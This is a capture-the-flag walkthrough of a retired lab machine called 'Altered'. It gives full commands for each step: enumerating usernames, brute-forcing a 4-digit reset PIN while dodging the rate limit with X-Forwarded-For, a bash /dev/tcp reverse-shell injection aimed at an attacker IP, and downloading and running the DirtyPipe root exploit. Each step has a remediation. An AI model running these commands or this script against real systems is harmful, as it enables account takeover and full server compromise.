Altered
Summary
I scanned a publicly exposed nginx server and found a Laravel-backed login portal. The login form returned different error messages for unknown versus known usernames, confirming 'admin' as a registered account.
Initiating a password reset for admin triggered a four-digit PIN; the verification endpoint enforced rate limiting by IP but derived that IP from the client-controlled X-Forwarded-For header. Cycling the header through a unique value for each of the 10,000 possible PINs bypassed the limit and returned a one-time reset token, which I used to set a new admin password and authenticate.
An administrative API endpoint then passed a user-supplied parameter directly to an OS shell command without sanitization; injecting a reverse-shell payload delivered execution as the web-server user www-data and captured the user flag. The server's Linux kernel fell within the DirtyPipe (CVE-2022-0847) vulnerable range; a public exploit uploaded to /tmp and run against the SUID binary /usr/bin/passwd hijacked its in-memory content, spawned a root shell, and restored the original binary, yielding full root control and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets (<authed_cookie>, <cookie>, <csrf>, <csrf_from_page>, <reset_token>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 2
Full-port service-version scan; -oA saves all output formats for later reference.
$ nmap -sV -p- --min-rate 5000 -oA altered-full $TARGETInspect response headers to confirm the application framework from the session cookie name and server headers.
$ curl -sI http://$TARGET/Exact commands 2
Baseline: note the error message returned for a username that does not exist.
$ curl -s -X POST http://$TARGET/login -H 'Content-Type: application/x-www-form-urlencoded' -d "name=nonexistentuser&password=$PASSWORD&_token=<csrf_from_page>"A distinct error message (e.g. 'wrong password' vs. 'user not found') confirms 'admin' is a real account.
$ curl -s -X POST http://$TARGET/login -H 'Content-Type: application/x-www-form-urlencoded' -d "name=admin&password=$PASSWORD&_token=<csrf_from_page>"FixReturn a generic error message for all failed login and password-reset attemptsMedium
Exact commands 2
Trigger the password-reset flow for admin; a 4-digit PIN is dispatched to the account email.
$ curl -s -X POST http://$TARGET/reset -H 'Content-Type: application/x-www-form-urlencoded' -b 'laravel_session=<cookie>' -d 'name=admin&_token=<csrf>'Iterates all 10,000 PINs; each request uses a unique X-Forwarded-For value to appear as a new client. Stops and prints the reset token on first match.
$ python3 <<EOF
import requests, sys
s = requests.Session()
s.get("http://$TARGET")
for i in range(10000):
pin = f"{i:04d}"
xff = f"10.0.{i // 256}.{i % 256}"
r = s.post("http://$TARGET/api/resettoken",
data={"name": "admin", "pin": pin},
headers={"X-Forwarded-For": xff})
if r.ok and "token" in r.text:
print(f"[+] PIN={pin} | {r.text}")
sys.exit(0)
print("[-] PIN not found")
EOFFixRemove trust in the client-supplied X-Forwarded-For header for rate limiting; replace short PINs with cryptographic reset tokensHigh
Exact commands 2
Set a new password for admin using the captured token; adjust the endpoint path and parameter names to match what the application's form action reveals.
$ curl -s -X POST http://$TARGET/api/resetpass -H 'Content-Type: application/x-www-form-urlencoded' -d "token=<reset_token>&password=$PASSWORD&password_confirmation=$PASSWORD"Authenticate as admin with the new password; -c cookies.txt saves the authenticated session cookie for subsequent admin API calls.
$ curl -s -c cookies.txt -X POST http://$TARGET/login -H 'Content-Type: application/x-www-form-urlencoded' -d "name=admin&password=$PASSWORD&_token=<csrf>"Exact commands 3
Open a reverse-shell listener on my machine; adjust the port as needed.
$ nc -lvnp 4444Send the injection payload; replace [endpoint] with the actual admin route discovered while browsing the admin panel, and $ATTACKER_IP with your HTB VPN IP. Adjust the injection field name if the parameter is not 'ip'.
$ curl -s -X POST http://$TARGET/api/[endpoint] -H 'Content-Type: application/json' -b 'laravel_session=<authed_cookie>' -d '{"ip":"127.0.0.1; bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1"}'Read the user flag from the obtained www-data reverse shell.
$ cat /home/*/user.txtFixNever concatenate user input into OS shell commands; replace shell invocations with safe API callsCritical
Exact commands 2
Run from the www-data shell; the full kernel version string is needed to confirm exploit compatibility.
$ uname -aRun on my machine to confirm publicly available exploit code for the identified kernel version.
$ searchsploit dirty pipeFixApply kernel security patches to eliminate CVE-2022-0847 (DirtyPipe)Critical
Exact commands 4
Download and compile the DirtyPipe exploit-2 (SUID hijack variant) on my machine.
$ wget https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/raw/main/exploit-2.c -O dp.c && gcc -o dp dp.cServe the compiled exploit binary over HTTP from my machine; run in a separate terminal.
$ python3 -m http.server 8080From the www-data reverse shell: download the exploit to /tmp; replace $ATTACKER_IP with your VPN IP.
$ wget http://$ATTACKER_IP:8080/dp -O /tmp/dp && chmod +x /tmp/dpRun the exploit against the SUID binary /usr/bin/passwd; the commands piped via stdin execute inside the spawned root shell. The exploit automatically restores the original binary on exit.
$ printf 'id\ncat /root/root.txt\nexit\n' | /tmp/dp /usr/bin/passwd
uid=0(root) gid=0(root) groups=0(root),33(www-data),117(mysql)Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.